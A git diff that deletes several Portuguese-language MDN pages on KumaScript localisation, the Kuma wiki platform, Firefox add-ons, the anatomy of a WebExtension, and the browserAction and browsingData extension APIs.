-
-<pre class="notranslate">&lt;%
-var s_title = 'Firefox for Developers';
-switch (env.locale) {
- case 'de':
- s_title = "Firefox für Entwickler";
- break;
- case 'fr':
- s_title = "Firefox pour les développeurs";
- break;
- case 'es':
- s_title = "Firefox para desarrolladores";
- break;
-};
-%&gt;
-&lt;span class="title"&gt;&lt;%= s_title %&gt;&lt;/span&gt;
-</pre>
-
-<h4 id="Utilizar_mdn.localString">Utilizar <code>mdn.localString()</code></h4>
-
-<p>A recent addition to the <code>MDN:Common</code> module is <code>mdn.localString()</code>, used like this:</p>
-
-<pre class="notranslate">&lt;%
-var s_title = mdn.localString({
- "en-US": "Firefox for Developers",
- "de": "Firefox für Entwickler",
- "es": "Firefox para desarrolladores"
-});
-%&gt;
-&lt;span class="title"&gt;&lt;%= s_title %&gt;&lt;/span&gt;
-</pre>
-
-<p>This is more concise than the switch statement, and may be a better choice where a single string is concerned. However, if many strings need to be translated (e.g., as in <a class="link-https" href="https://github.com/mdn/kumascript/blob/master/macros/CSSRef.ejs" title="CSSRef">CSSRef</a>), a switch statement might help keep all the strings grouped by locale and more easily translated that way.</p>
-
-<p>When the object does not have the appropriate locale, the value of "en-US" is used as the initial value.</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="http://kuma.readthedocs.io/en/latest/" title="Getting started with Kuma">Começar com Kuma</a></li>
- <li><a href="https://github.com/mdn/kumascript" title="Project:en/KumaScript reference">Referência de KumaScript</a></li>
- <li><a class="link-https" href="https://wiki.mozilla.org/MDN/Kuma" title="https://wiki.mozilla.org/MDN/Kuma">Wiki de Kuma</a></li>
-</ul>
diff --git a/files/pt-pt/mdn/yari/index.html b/files/pt-pt/mdn/yari/index.html
deleted file mode 100644
index 1950f2c849..0000000000
--- a/files/pt-pt/mdn/yari/index.html
+++ /dev/null
@@ -1,25 +0,0 @@
----
-title: 'Kuma: Plataforma wiki da MDN'
-slug: MDN/Yari
-tags:
- - Kuma
- - MDN Meta
- - Metadados MDN
-translation_of: MDN/Kuma
-original_slug: MDN/Kuma
----
-<div>{{MDNSidebar}}{{IncludeSubnav("/pt-PT/docs/MDN")}}</div>
-
-<p class="summary">Kuma é o código Django que é utilizado para os 'Documentos da Web na MDN'.</p>
-
-<p>{{SubpagesWithSummaries}}</p>
-
-<h2 id="Participe_na_plataforma_Kuma">Participe na plataforma Kuma</h2>
-
-<p>Para participar na plataforma Kuma:</p>
-
-<ul>
- <li>Visite o <a href="https://github.com/mozilla/kuma">projeto Kuma no Github</a>.</li>
- <li>Consulte o <a href="https://github.com/mozilla/kuma/blob/master/CONTRIBUTING.md">Guia de Contribuição.</a></li>
- <li>Se necessário, consulte a <a href="http://kuma.readthedocs.org/en/latest/">documentação completa de Kuma</a>.</li>
-</ul>
diff --git a/files/pt-pt/mozilla/add-ons/index.html b/files/pt-pt/mozilla/add-ons/index.html
deleted file mode 100644
index 2b69084b27..0000000000
--- a/files/pt-pt/mozilla/add-ons/index.html
+++ /dev/null
@@ -1,111 +0,0 @@
----
-title: Extras (Add-ons)
-slug: Mozilla/Add-ons
-tags:
- - Extensões
- - Extras
- - Landing
- - Mozilla
- - extensão
-translation_of: Mozilla/Add-ons
----
-<div>{{AddonSidebar}}</div>
-
-<p><span class="seoSummary">Os extras permitem que os responsáveis pelo desenvolvimento estendam e modifiquem a funcionalidade do Firefox. As mesmas são criadas utilizando as tecnologias da Web padrão - CSS, HTML e JavaScript - mais algumas APIs de JavaScript dedicadas. Entre outras coisas, um extra poderia:</span></p>
-
-<ul>
- <li>Modificar e alterar a aparência ou conteúdo de um site em particualr</li>
- <li>Modificar a interface de utilizador do Firefox</li>
- <li>Adicionar novas funcionalidades ao Firefox</li>
-</ul>
-
-<h2 id="Desenvolver_extras">Desenvolver extras</h2>
-
-<p>Existem, de momento, vários conjuntos de  ferramentas utilizadas para desenvolver Aplicações Complementares mas as  chamadas <a href="/en-US/Add-ons/WebExtensions">Extensões da Web</a> vão tornar-se o padrão pelo final de 2017. Das restantes a expectativa é de que se tornem <a href="/en-US/Add-ons/Overlay_Extensions">obsoletas</a> dentro do mesmo periodo de tempo.</p>
-
-<p>Neste documento vai encontrar informação sobre as opções disponíveis para desenvolver aplicações complementares para que possa decidir qual a melhor para si agora e no futuro.</p>
-
-<h3 id="Criar_um_Novo_Extra">Criar um Novo Extra</h3>
-
-<p>Se está a desenvolver uma nova aplicação complementar recomendamos que escolha entre um dos dois seguintes métodos. Até que a transição para as Extensões da Web esteja finalizada, existirão prós e contras em relação a ambos os métodos. Por favor leia atentamente as opções para decidir qual a melhor para funcionar com a sua aplicação.</p>
-
-<ul class="card-grid">
- <li style="position: relative; max-width: 400px;">
- <div style="margin-bottom: 70px;">
- <h4 id="Extensões_da_Web"><a href="pt-PT/Add-ons/WebExtensions">Extensões da Web</a></h4>
-
- <p>As Extensões da Web são o futuro das Aplicações Complementares para o Firefox. Se a puder utilizar, a API das Extensões da Web será a melhor escolha. Pode começar a desenvolver e publicar Extensões da Web imediatamente, mas as mesmas ainda estão num estado embrionário.<br>
- <br>
- A maioria das funcionalidades da API Extensões da Web estão também disponíveis  no <a href="/en-US/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs">Firefox para Android</a>.</p>
-
- <p>We're preparing a first full release for <a href="https://wiki.mozilla.org/RapidRelease/Calendar">Firefox 48</a>.</p>
- </div>
- <a class="card-grid-button" href="/en-US/Add-ons/WebExtensions">Saber mais</a></li>
- <li style="position: relative; max-width: 400px;">
- <div style="margin-bottom: 70px;">
- <h4 id="SDK_de_Extras"><a href="/en-US/Add-ons/SDK">SDK de Extras</a></h4>
-
- <p>O SDK de Extra proporcina várias APIs para desenvolvimento de extras para o Firefox, e uma ferramenta para desenvolvimento, teste e finalização.</p>
-
- <p>Também pode executar as extensões de SDK de Extras no<a href="/en-US/Add-ons/SDK/Tutorials/Mobile_development"> Firefox para Android</a>.</p>
-
- <p>We encourage you to use only <a href="/en-US/Add-ons/SDK/High-Level_APIs">high-level APIs</a> because this will make it easier to migrate to WebExtensions down the road.</p>
- </div>
- <a class="card-grid-button" href="/en-US/Add-ons/SDK">Learn more</a></li>
-</ul>
-
-<h3 id="Migrar_um_Extra_Existente">Migrar um Extra Existente</h3>
-
-<p>There are changes coming to Firefox in the next year that will make browsing more reliable for users, and creating add-ons easier for developers. Your add-on may require updating to maintain its compatibility, but once this is done and the transition is complete, your add-on will be more interoperable, secure, and future-proof than ever.</p>
-
-<p>We've created <a href="https://wiki.mozilla.org/Add-ons/developer/communication">resources, migration paths, office hours, and more</a>, to ensure you have the support you need to get through the transition.</p>
-
-<p>To get started, use the <a href="https://compatibility-lookup.services.mozilla.com/">add-on compatibility checker</a> to see if your add-on will be affected.</p>
-
-<h2 id="Publicação_de_extras">Publicação de extras</h2>
-
-<p><a href="https://addons.mozilla.org">Addons.mozilla.org</a>, commonly known as "AMO," is Mozilla's official site for developers to list add-ons, and for users to discover them. By uploading your add-on to AMO, you can participate in our community of users and creators, and find an audience for your add-on.</p>
-
-<p>You are not required to list your add-on on AMO, but starting with Firefox 40, your code must be signed by Mozilla or users won't be able to install it.</p>
-
-<p>For an overview of the process of publishing your add-on, see <a href="https://developer.mozilla.org/en-US/Add-ons/Distribution">Signing and distributing your add-on</a>.</p>
-
-<h2 id="Outros_tipos_de_extras">Outros tipos de extras</h2>
-
-<p>Generally, when people speak of add-ons they're referring to extensions, but there are a few other add-on types that allow users to customize Firefox. Those add-ons include:</p>
-
-<ul>
- <li><a href="https://developer.mozilla.org/Add-ons/Themes/Background">Lightweight themes</a> are a simple way to provide limited customization for Firefox.</li>
- <li><a href="/en-US/Add-ons/Firefox_for_Android">Mobile add-ons</a> are add-ons for Firefox for Android. Note, though, that we intend to deprecate some of the technology underlying these APIs. In the future, WebExtensions will be fully supported on Firefox for Android.</li>
- <li><a href="/en-US/docs/Creating_OpenSearch_plugins_for_Firefox">Search engine plugins</a> add new search engines to the browser's search bar.</li>
- <li><a href="/pt-PT/docs/Mozilla/Criação_de_um_complemento_de_dicionário_de_verificação_ortográfica">Dicionários do utilizador</a> são complementos que o deixam verificar a ortografia em diferentes idiomas.</li>
- <li><a href="https://support.mozilla.org/pt-PT/kb/use-firefox-interface-other-languages-language-pack">Pacotes de idioma </a>são complementos que o deixam ter mais idiomas disponíveis para a interface do utilizador do Firefox.</li>
-</ul>
-
-<hr>
-<h2 id="Contacte-nos">Contacte-nos</h2>
-
-<p>Pode utilizar as hiperligações abaixo para obetr ajuda, manter-se atualizado com as notícias relacionadas com os complementos, e dar-nos a sua opinião/comentário.</p>
-
-<h3 id="Fórum_de_extras">Fórum de extras</h3>
-
-<p>Utilize o <a href="https://discourse.mozilla-community.org/c/add-ons">fórum de conversação sobre os complementos</a> para discutir todos aspetos do desenvolvimento de complementos e obter ajuda.</p>
-
-<h3 id="Listas_de_endereçosdiscussão">Listas de endereços/discussão</h3>
-
-<p>Use the <strong>dev-addons</strong> list to discuss development of the add-ons ecosystem, including the development of the WebExtensions system and of AMO:</p>
-
-<ul>
- <li><a href="https://mail.mozilla.org/listinfo/dev-addons">dev-addons list info</a></li>
- <li><a href="https://mail.mozilla.org/pipermail/dev-addons/">dev-addons archives</a></li>
-</ul>
-
-<h3 id="IRC">IRC</h3>
-
-<p>If you're a fan of IRC, you can get in touch at:</p>
-
-<ul>
- <li><a href="irc://irc.mozilla.org/addons">#addons</a> (discussion of the add-ons ecosystem)</li>
- <li><a href="irc://irc.mozilla.org/extdev">#extdev</a> (general discussion of add-on development)</li>
- <li><a href="irc://irc.mozilla.org/webextensions">#webextensions</a> (discussion of WebExtensions in particular)</li>
-</ul>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html b/files/pt-pt/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html
deleted file mode 100644
index 3dfff5adde..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html
+++ /dev/null
@@ -1,136 +0,0 @@
----
-title: Anatomia de uma extensão
-slug: Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension
-tags:
- - Extensões da Web
-translation_of: Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension
-original_slug: Mozilla/Add-ons/WebExtensions/Anatomia_de_uma_extensao
----
-<div>{{AddonSidebar}}</div>
-
-<p>Uma extensão consiste numa coleção de ficheiros, empacotados para distribuição e instalação. Neste artigo, nós passaremos rapidamente pelos ficheiros que podem estar presentes numa extensão.</p>
-
-<h2 id="manifest.json">manifest.json</h2>
-
-<p>This is the only file that must be present in every extension. It contains basic metadata such as its name, version and the permissions it requires. It also provides pointers to other files in the extension.</p>
-
-<p>This manifest can also contain pointers to several other types of files:</p>
-
-<ul>
- <li><a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts">Background pages</a>: Implement long-running logic.</li>
- <li>Icons for the extension and any buttons it might define.</li>
- <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Sidebars_popups_options_pages">Sidebars, popups, and options pages</a>: HTML documents that provide content for various user interface components.</li>
- <li><a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Content_scripts">Content scripts</a>: JavaScript included with your extension, that you will inject into web pages.</li>
-</ul>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13669/webextension-anatomy.png" style="display: block; height: 581px; margin-left: auto; margin-right: auto; width: 600px;"></p>
-
-<p>See the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a> reference page for all the details.</p>
-
-<p>Other than those referenced from the manifest, an extension can include additional <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Extension_pages">Extension pages</a> with supporting files.</p>
-
-<h2 id="Scripts_de_fundo_(segundo_plano)"><em>Scripts</em> de fundo (segundo plano)</h2>
-
-<p>Extensions often need to maintain long-term state or perform long-term operations independently of the lifetime of any particular web page or browser window. That is what background scripts are for.</p>
-
-<p>Background scripts are loaded as soon as the extension is loaded and stay loaded until the extension is disabled or uninstalled. You can use any of the <a href="/en-US/Add-ons/WebExtensions/API">WebExtension APIs</a> in the script, as long as you have requested the necessary <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a>.</p>
-
-<h3 id="Especificar_os_scripts_de_fundo">Especificar os <em>scripts</em> de fundo</h3>
-
-<p>You can include a background script using the <code>background</code> key in "manifest.json":</p>
-
-<pre class="brush: json">// manifest.json
-
-"background": {
- "scripts": ["background-script.js"]
-}</pre>
-
-<p>You can specify multiple background scripts: if you do, they run in the same context, just like multiple scripts that are loaded into a single web page.</p>
-
-<h3 id="Ambiente_de_script_de_fundo">Ambiente de <em>script</em> de fundo</h3>
-
-<h4 id="APIS_de_DOM">APIS de DOM</h4>
-
-<p>Background scripts run in the context of special pages called background pages. This gives them a <code><a href="/en-US/docs/Web/API/Window">window</a></code> global, along with all the standard DOM APIs provided by that object.</p>
-
-<p>You do not have to supply your background page. If you include a background script, an empty background page will be created for you.</p>
-
-<p>However, you can choose to supply your background page as a separate HTML file:</p>
-
-<pre class="brush: json">// manifest.json
-
-"background": {
- "page": "background-page.html"
-}</pre>
-
-<h4 id="APIs_da_Extensão_da_Web">APIs da Extensão da Web</h4>
-
-<p>Background scripts can use any of the <a href="/en-US/Add-ons/WebExtensions/API">WebExtension APIs</a> in the script, as long as their extension has the necessary <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a>.</p>
-
-<h4 id="Acesso_cruzado_da_origem">Acesso cruzado da origem</h4>
-
-<p>Background scripts can make XHR requests to any hosts for which they have <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">host permissions</a>.</p>
-
-<h4 id="Conteúdo_da_Web">Conteúdo da Web</h4>
-
-<p>Background scripts do not get direct access to web pages. However, they can load <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">content scripts</a> into web pages and can <a href="/en-US/Add-ons/WebExtensions/Content_scripts#Communicating_with_background_scripts">communicate with these content scripts using a message-passing API</a>.</p>
-
-<h4 id="Política_de_segurança_do_conteúdo">Política de segurança do conteúdo</h4>
-
-<p>Background scripts are restricted from certain potentially dangerous operations, like the use of <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval()</a></code>, through a Content Security Policy. See <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security Policy</a> for more details on this.</p>
-
-<h2 id="Barras_laterais_janelas_(popups)_opções_de_páginas">Barras laterais, janelas (popups), opções de páginas</h2>
-
-<p>A sua extensão pode inclur vários componentes da interface do utilizador cujo conteúdo é definido utilizando um documento HTML:</p>
-
-<ul>
- <li>uma <a href="/pt-PT/Add-ons/WebExtensions/interface_do_utilizador/Barras_laterais">barra lateral</a> é um painel que é exibido no lado esquerdo da janela do navegador, junto à página da <em>web</em></li>
- <li>uma <a href="/pt-PT/Add-ons/WebExtensions/interface_do_utilizador/Popups">janela (popup</a>) é uma janela que pode exibir quando o utilizador clica num <a href="/pt-PT/Add-ons/WebExtensions/interface_do_utilizador/A%C3%A7%C3%A3o_navegador">botão da barra de ferramentas</a> ou <a href="/pt-PT/Add-ons/WebExtensions/interface_do_utilizador/Acoes_pagina">botão da barra de endereço</a></li>
- <li>uma <a href="/pt-PT/Add-ons/WebExtensions/interface_do_utilizador/Options_pages">página de opções </a>é uma página que é mostrada quando o utilizador acede ao seu extra de preferências no gestor de extras nativo do navegador</li>
-</ul>
-
-<p>For each of these components, you create an HTML file and point to it using a specific property in <a href="/pt-PT/Add-ons/WebExtensions/manifest.json">manifest.json</a>. The HTML file can include CSS and JavaScript files, just like a normal web page.</p>
-
-<p>All of these are a type of <a href="/pt-PT/Add-ons/WebExtensions/interface_do_utilizador/Paginas_de_extens%C3%A3o">Extension pages</a>, and unlike a normal web page, your JavaScript can use all the same privileged WebExtension APIs as your background script. They can even directly access variables in the background page using {{WebExtAPIRef("runtime.getBackgroundPage()")}}.</p>
-
-<h2 id="Páginas_de_extensão">Páginas de extensão</h2>
-
-<p>You can also include HTML documents in your extension which are not attached to some predefined user interface component. Unlike the documents you might provide for sidebars, popups, or options pages, these don't have an entry in manifest.json. However, they do also get access to all the same privileged WebExtension APIs as your background script.</p>
-
-<p>You'd typically load a page like this using {{WebExtAPIRef("windows.create()")}} or {{WebExtAPIRef("tabs.create()")}}.</p>
-
-<p>See <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages">Extension pages</a> to learn more.</p>
-
-<h2 id="Scripts_de_conteúdo"><em>Scripts</em> de conteúdo</h2>
-
-<p>Use content scripts to access and manipulate web pages. Content scripts are loaded into web pages and run in the context of that particular page.</p>
-
-<p>Content scripts are extension-provided scripts which run in the context of a web page; this differs from scripts which are loaded by the page itself, including those which are provided in {{HTMLElement("script")}} elements within the page.</p>
-
-<p>Content scripts can see and manipulate the page's DOM, just like normal scripts loaded by the page.</p>
-
-<p>Unlike normal page scripts, they can:</p>
-
-<ul>
- <li>Make cross-domain XHR requests.</li>
- <li>Use a small subset of the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API">WebExtension APIs</a>.</li>
- <li>Exchange messages with their background scripts and can in this way indirectly access all the WebExtension APIs.</li>
-</ul>
-
-<p>Content scripts cannot directly access normal page scripts but can exchange messages with them using the standard <code><a href="/en-US/docs/Web/API/Window/postMessage">window.postMessage()</a></code> API.</p>
-
-<p>Usually, when we talk about content scripts, we are referring to JavaScript, but you can inject CSS into web pages using the same mechanism.</p>
-
-<p>See the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">content scripts</a> article to learn more.</p>
-
-<h2 id="Recursos_de_acessibilidade_da_Web">Recursos de acessibilidade da Web</h2>
-
-<p>Web accessible resources are resources such as images, HTML, CSS, and JavaScript that you include in the extension and want to make accessible to content scripts and page scripts. Resources which are made web-accessible can be referenced by page scripts and content scripts using a special URI scheme.</p>
-
-<p>For example, if a content script wants to insert some images into web pages, you could include them in the extension and make them web accessible. Then the content script could create and append <code><a href="/en-US/docs/Web/HTML/Element/img">img</a></code> tags which reference the images via the <code>src</code> attribute.</p>
-
-<p>To learn more, see the documentation for the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/web_accessible_resources">web_accessible_resources</a> manifest.json key.</p>
-
-<p> </p>
-
-<p> </p>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/api/browseraction/index.html b/files/pt-pt/mozilla/add-ons/webextensions/api/browseraction/index.html
deleted file mode 100644
index 2b520684db..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/api/browseraction/index.html
+++ /dev/null
@@ -1,127 +0,0 @@
----
-title: Ação do navegador
-slug: Mozilla/Add-ons/WebExtensions/API/browserAction
-tags:
- - API
- - Ação do navegador
- - Extensões
- - Extensões da Web
- - Extras
- - Interface
- - Não Padrão
- - Referencia
-translation_of: Mozilla/Add-ons/WebExtensions/API/browserAction
----
-<div>{{AddonSidebar}}</div>
-
-<p>Adiciona um botão à barra de ferramentas do navegador.</p>
-
-<p>Uma <a href="/pt-PT/Add-ons/WebExtensions/interface_do_utilizador/Ação_navegador">ação do navegador </a>é um botão na barra de ferramentas do navegador.</p>
-
-<p>You can associate a popup with the button. The popup is specified using HTML, CSS and JavaScript, just like a normal web page. JavaScript running in the popup gets access to all the same WebExtension APIs as your background scripts, but its global context is the popup, not the current page displayed in the browser. To affect web pages you need to communicate with them via <a href="/en-US/Add-ons/WebExtensions/Modify_a_web_page#Messaging">messages</a>.</p>
-
-<p>If you specify a popup, it will be shown — and the content will be loaded — when the user clicks the icon. If you do not specify a popup, then when the user clicks the icon an event is dispatched to your extension.</p>
-
-<p>You can define most of a browser action's properties declaratively using the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code> key in the manifest.json.</p>
-
-<p>With the <code>browserAction</code> API, you can:</p>
-
-<ul>
- <li>use {{WebExtAPIRef("browserAction.onClicked")}} to listen for clicks on the icon.</li>
- <li>get and set the icon's properties — icon, title, popup, and so on. You can get and set these globally across all tabs, or for a specific tab by passing the tab ID as an additional argument.</li>
-</ul>
-
-<h2 id="Tipos">Tipos</h2>
-
-<dl>
- <dt>{{WebExtAPIRef("browserAction.ColorArray")}}</dt>
- <dd>An array of four integers in the range 0-255 defining an RGBA color.</dd>
- <dt>{{WebExtAPIRef("browserAction.ImageDataType")}}</dt>
- <dd>Pixel data for an image. Must be an <code><a href="/en-US/docs/Web/API/ImageData">ImageData</a></code> object (for example, from a {{htmlelement("canvas")}} element).</dd>
-</dl>
-
-<h2 id="Funções">Funções</h2>
-
-<dl>
- <dt>{{WebExtAPIRef("browserAction.setTitle()")}}</dt>
- <dd>Sets the browser action's title. This will be displayed in a tooltip.</dd>
- <dt>{{WebExtAPIRef("browserAction.getTitle()")}}</dt>
- <dd>Gets the browser action's title.</dd>
- <dt>{{WebExtAPIRef("browserAction.setIcon()")}}</dt>
- <dd>Sets the browser action's icon.</dd>
- <dt>{{WebExtAPIRef("browserAction.setPopup()")}}</dt>
- <dd>Sets the HTML document to be opened as a popup when the user clicks on the browser action's icon.</dd>
- <dt>{{WebExtAPIRef("browserAction.getPopup()")}}</dt>
- <dd>Gets the HTML document set as the browser action's popup.</dd>
- <dt>{{WebExtAPIRef("browserAction.openPopup()")}}</dt>
- <dd>Open the browser action's popup.</dd>
- <dt>{{WebExtAPIRef("browserAction.setBadgeText()")}}</dt>
- <dd>Sets the browser action's badge text. The badge is displayed on top of the icon.</dd>
- <dt>{{WebExtAPIRef("browserAction.getBadgeText()")}}</dt>
- <dd>Gets the browser action's badge text.</dd>
- <dt>{{WebExtAPIRef("browserAction.setBadgeBackgroundColor()")}}</dt>
- <dd>Sets the badge's background color.</dd>
- <dt>{{WebExtAPIRef("browserAction.getBadgeBackgroundColor()")}}</dt>
- <dd>Gets the badge's background color.</dd>
- <dt>{{WebExtAPIRef("browserAction.enable()")}}</dt>
- <dd>Enables the browser action for a tab. By default, browser actions are enabled for all tabs.</dd>
- <dt>{{WebExtAPIRef("browserAction.disable()")}}</dt>
- <dd>Disables the browser action for a tab, meaning that it cannot be clicked when that tab is active.</dd>
-</dl>
-
-<h2 id="Eventos">Eventos</h2>
-
-<dl>
- <dt>{{WebExtAPIRef("browserAction.onClicked")}}</dt>
- <dd>Fired when a browser action icon is clicked. This event will not fire if the browser action has a popup.</dd>
-</dl>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p>{{Compat("webextensions.api.browserAction")}}</p>
-
-<div class="hidden note">
-<p>The "Chrome incompatibilities" section is included from <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities"> https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities</a> using the <a href="/en-US/docs/Template:WebExtChromeCompat">WebExtChromeCompat</a> macro.</p>
-
-<p>If you need to update this content, edit <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities">https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities</a>, then shift-refresh this page to see your changes.</p>
-</div>
-
-<p>{{WebExtExamples("h2")}}</p>
-
-<div class="note"><strong>Reconhecimentos</strong>
-
-<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/browserAction"><code>chrome.browserAction</code></a> API. This documentation is derived from <a href="https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/browser_action.json"><code>browser_action.json</code></a> in the Chromium code.</p>
-
-<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
-</div>
-
-<div class="hidden">
-<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
-//
-// Redistribution and use in source and binary forms, with or without
-// modification, are permitted provided that the following conditions are
-// met:
-//
-// * Redistributions of source code must retain the above copyright
-// notice, this list of conditions and the following disclaimer.
-// * Redistributions in binary form must reproduce the above
-// copyright notice, this list of conditions and the following disclaimer
-// in the documentation and/or other materials provided with the
-// distribution.
-// * Neither the name of Google Inc. nor the names of its
-// contributors may be used to endorse or promote products derived from
-// this software without specific prior written permission.
-//
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-</pre>
-</div>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/api/browsingdata/index.html b/files/pt-pt/mozilla/add-ons/webextensions/api/browsingdata/index.html
deleted file mode 100644
index 14dbd68d3a..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/api/browsingdata/index.html
+++ /dev/null
@@ -1,130 +0,0 @@
----
-title: browsingData
-slug: Mozilla/Add-ons/WebExtensions/API/browsingData
-tags:
- - API
- - Add-ons
- - Extensions
- - NeedsTranslation
- - Non-standard
- - Reference
- - TopicStub
- - WebExtensions
- - browsingData
-translation_of: Mozilla/Add-ons/WebExtensions/API/browsingData
----
-<div>{{AddonSidebar}}</div>
-
-<p>Enables extensions to clear the data that is accumulated while the user is browsing.</p>
-
-<p>In the <code>browsingData</code> API, browsing data is divided into types:</p>
-
-<ul>
- <li>browser cache</li>
- <li>cookies</li>
- <li>downloads</li>
- <li>history</li>
- <li>local storage</li>
- <li>plugin data</li>
- <li>saved form data</li>
- <li>saved passwords</li>
-</ul>
-
-<p>You can use the {{WebExtAPIRef("browsingData.remove()")}} function to remove any combination of these types. There are also dedicated functions to remove each particular type of data, such as {{WebExtAPIRef("browsingData.removePasswords()", "removePasswords()")}}, {{WebExtAPIRef("browsingData.removeHistory()", "removeHistory()")}} and so on.</p>
-
-<p>All the <code>browsingData.remove[X]()</code> functions take a {{WebExtAPIRef("browsingData.RemovalOptions")}} object, which you can use to control two further aspects of data removal:</p>
-
-<ul>
- <li>how far back in time to remove data</li>
- <li>whether to remove data only from normal web pages, or also from hosted web apps and add-ons. Note that this option is not yet supported in Firefox.</li>
-</ul>
-
-<p>Finally, this API gives you a {{WebExtAPIRef("browsingData.settings()")}} function that gives you the current value of the settings for the browser's built-in "Clear History" feature.</p>
-
-<p>To use this API you must have the "browsingData" <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/permissions#API_permissions">API permission</a>.</p>
-
-<h2 id="Types">Types</h2>
-
-<dl>
- <dt>{{WebExtAPIRef("browsingData.DataTypeSet")}}</dt>
- <dd>Object used to specify the type of data to remove: for example, history, downloads, passwords, and so on.</dd>
- <dt>{{WebExtAPIRef("browsingData.RemovalOptions")}}</dt>
- <dd>Object used to specify how far back in time to remove data, and whether to remove data added through normal web browsing, by hosted apps, or by add-ons.</dd>
-</dl>
-
-<h2 id="Methods">Methods</h2>
-
-<dl>
- <dt>{{WebExtAPIRef("browsingData.remove()")}}</dt>
- <dd>Removes browsing data for the data types specified.</dd>
- <dt>{{WebExtAPIRef("browsingData.removeCache()")}}</dt>
- <dd>Clears the browser's cache.</dd>
- <dt>{{WebExtAPIRef("browsingData.removeCookies()")}}</dt>
- <dd>Removes cookies.</dd>
- <dt>{{WebExtAPIRef("browsingData.removeDownloads()")}}</dt>
- <dd>Removes the list of downloaded files.</dd>
- <dt>{{WebExtAPIRef("browsingData.removeFormData()")}}</dt>
- <dd>Clears saved form data.</dd>
- <dt>{{WebExtAPIRef("browsingData.removeHistory()")}}</dt>
- <dd>Clears the browser's history.</dd>
- <dt>{{WebExtAPIRef("browsingData.removeLocalStorage()")}}</dt>
- <dd>Clears any <a href="/en-US/docs/Web/API/Window/localStorage">local storage</a> created by websites.</dd>
- <dt>{{WebExtAPIRef("browsingData.removePasswords()")}}</dt>
- <dd>Clears saved passwords.</dd>
- <dt>{{WebExtAPIRef("browsingData.removePluginData()")}}</dt>
- <dd>Clears data associated with plugins.</dd>
- <dt>{{WebExtAPIRef("browsingData.settings()")}}</dt>
- <dd>Gets the current value of settings in the browser's "Clear History" feature.</dd>
-</dl>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-
-
-<p>{{Compat("webextensions.api.browsingData", 2)}}</p>
-
-<div class="note hidden">
-<p>The "Chrome incompatibilities" section is included from <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities"> https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities</a> using the <a href="/en-US/docs/Template:WebExtChromeCompat">WebExtChromeCompat</a> macro.</p>
-
